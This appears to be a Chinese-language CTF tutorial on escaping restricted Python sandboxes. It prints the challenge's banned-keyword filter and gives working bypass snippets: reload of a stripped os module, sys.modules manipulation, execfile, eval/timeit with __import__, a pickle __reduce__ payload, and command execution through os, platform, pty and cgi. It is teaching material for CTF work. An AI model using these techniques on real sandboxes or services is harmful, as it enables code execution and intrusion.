一.背景
前因后果
本篇的主题源于下面的一道CTF题目:python沙箱逃逸,这是一个阉割的Python环境,主要进行了两部分限制:
1. 删除了内置函数引用
2. 对敏感的关键字进行了静态检测。
怎么算逃逸呢? 黑客需要通过输入Python代码来绕过上述的限制,获取shell,执行命令。
#!/usr/bin/env pythonfrom __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys"]
targets = __builtins__.__dict__.keys()targets.remove('raw_input')targets.remove('print')for x in targets: del __builtins__.__dict__[x]
while 1: print(">>>", end=' ') data = raw_input()
for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
在正式的CTF比赛中,我们是看不到沙箱源码的,只会提供一个远程的沙箱接口,用来输入代码,有回显其实还好。如果是单纯做题,一般通用的解决思路,大致分为5步:
只是解决这道题没有什么意思,咱们要从这道题中挖掘一下Python中一些“黑科技”,才是对我们有帮助的。我总结了一下这道题涉及的主要知识点 :
实践出真知
如果我们想在沙箱中getshell的话,必不可少的是要引入Python中执行命令的包,例如os,sys,subprocess等。
有些沙箱使用比较初级的办法,通过正则对输入代码内容进行过滤,如下所示,如果匹配,则ban掉。
这个时候,我们突破这种封锁,首先要学习的是Python的各种导包方法。
一般比较常见的是以下几种方法:
在上面几种方法中,用的比较少的是 importlib 和 imp。我用例子简要说明一下:
reload 的用法比较有意思,假如沙箱导入了os模块,但是删除了system方法,强行使用system执行命令会报错。
# -*- coding: UTF-8 -*-### 沙箱import os
del os.__dict__["system"]
### 用户代码
os.system("whoami")
而我又想用system方法执行命令的话,可以使用reload重新加载os模块,恢复对system方法的引用。
# -*- coding: UTF-8 -*-### 沙箱import os
del os.__dict__["system"]
### 用户代码reload(os) #也可以 import imp imp.reload(os)os.system("whoami")
上面说的是比较初阶的导包方式,导包说到本质上其实是python 读取指定包的py文件,并将其加载到解释器的过程。因此我们可以直接执行对应包的文件,从而实现包的导入。在py2中有execfile这个函数:
execfile('/usr/lib/python2.7/os.py')system('whoami')
在py3中,没有execfile这个函数,但是有exec,可以通过读文件交给exec执行的方式导入包。
有的沙箱,为了防止你导入敏感包,会将sys.modules置为None。
以os 为例,沙箱将sys.modules['os']置为None,用户如果想import os 就会报错。
#!/usr/bin/python##沙箱import syssys.modules['os'] = None
### 用户代码
import os 报错
为什么会报错?import 的步骤:
由于sys.modules['os'] 被置空了,如果想让os被重新加载,我们将 sys.modules 中的os 删除即可,这样import 发现 sys.modules没有os这个模块,就会重新创建。
# -*- coding: UTF-8 -*-##沙箱import sys
sys.modules['os'] = None
### 用户代码del sys.modules['os']import os
os.system("whoami")
(1) eval/exec/execfile
在上文中,已经讲解了exec/execfile的用法。这里再总结一下:
eval用来执行简单的python表达式返回表达式的结果,示例如下:
eval('__import__("os").system("whoami")')
(2) pickle 序列化
import pickleclass A(object): def __reduce__(self): import os return (os.system, ('whoami',))admin = A()B = pickle.dumps(admin)print(pickle.dumps(admin))
# cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.
保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。
import picklepickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")
(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。
import timeittimeit.timeit("__import__('os').system('whoami')",number=1)
(1) os模块
可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:
os.system("whoami")os.popen('whoami')
(2) commands 模块
print(commands.getoutput('whoami'))print(commands.getstatusoutput('whoami'))
(3) subprocess模块
subprocess模块是相对比较复杂的,有很多执行命令的函数:
(4) platform 模块
可以调用platform 模块 中的 popen 这个函数执行命令。
import platformprint(platform.popen('ls',mode='r',bufsize= -1).read())
platform.os.system("ls")
(5) pty 模块
pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。
import ptypty.spawn('ls')
pty.os.system("ls")
(6) cgi 模块
import cgi
cgi.os.system("ls")
大家细细琢磨还有很多执行命令的方式。。。。。。